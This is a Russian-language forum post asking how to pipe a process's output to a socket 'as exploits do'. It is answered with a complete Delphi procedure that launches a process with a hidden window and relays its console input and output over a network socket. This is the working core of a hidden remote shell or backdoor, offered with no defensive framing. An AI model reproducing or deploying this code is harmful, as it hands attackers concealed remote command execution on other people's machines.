Как запустить процесс, чтобы весь свой вывод он отправлял в сокет? Именно это реализовано в эксплоитах и потому свой ответ я искал там. CreateProcess вызывается с множественными параметрами и так не получил ответа. Догадываюсь, что ответ в структуре StartupInfo.
вариант Aphexа Code (Text): procedure RelayProcessToSocket(Process: pchar; Socket1: TClientSocket); const MAX_CHUNK: dword = 32767; var Buffer: array [0..32767] of byte; SecurityAttributes: SECURITY_ATTRIBUTES; hiRead, hoRead, hiWrite, hoWrite: THandle; StartupInfo: TSTARTUPINFO; ProcessInfo: TProcessInformation; BytesAvailable, BytesRead, BytesWritten, ExitCode, PipeMode: dword; Nonblocking: longint; begin SecurityAttributes.nLength := SizeOf(SECURITY_ATTRIBUTES); SecurityAttributes.lpSecurityDescriptor := nil; SecurityAttributes.bInheritHandle := True; CreatePipe(hiRead, hiWrite, @SecurityAttributes, 0); CreatePipe(hoRead, hoWrite, @SecurityAttributes, 0); GetStartupInfo(StartupInfo); StartupInfo.hStdOutput := hoWrite; StartupInfo.hStdError := hoWrite; StartupInfo.hStdInput := hiRead; StartupInfo.dwFlags := STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; StartupInfo.wShowWindow := SW_HIDE; CreateProcess(nil, Process, nil, nil, True, CREATE_NEW_CONSOLE, nil, nil, StartupInfo, ProcessInfo); CloseHandle(hoWrite); CloseHandle(hiRead); Nonblocking := 1; ioctlsocket(Socket1.Socket, FIONBIO, Nonblocking); PipeMode := PIPE_NOWAIT; SetNamedPipeHandleState(hoRead, PipeMode , nil, nil); while Socket1.Connected do begin Sleep(5); GetExitCodeProcess(ProcessInfo.hProcess, ExitCode); if ExitCode <> STILL_ACTIVE then Break; repeat ReadFile(hoRead, Buffer, MAX_CHUNK, BytesRead, nil); if BytesRead > 0 then begin while Socket1.SendBuffer(Buffer, BytesRead) = -1 do Sleep(1); end; until BytesRead < MAX_CHUNK; Sleep(5); BytesAvailable := Socket1.ReceiveBuffer(Buffer, MAX_CHUNK); if BytesAvailable > 0 then begin Socket1.SendBuffer(Buffer, BytesAvailable); WriteFile(hiWrite, Buffer, BytesAvailable, BytesWritten, nil); end; end; GetExitCodeProcess(ProcessInfo.hProcess, ExitCode); if ExitCode = STILL_ACTIVE then TerminateProcess(ProcessInfo.hProcess, 0); CloseHandle(hoRead); CloseHandle(hiWrite); Nonblocking := 0; ioctlsocket(Socket1.Socket, FIONBIO, Nonblocking); end;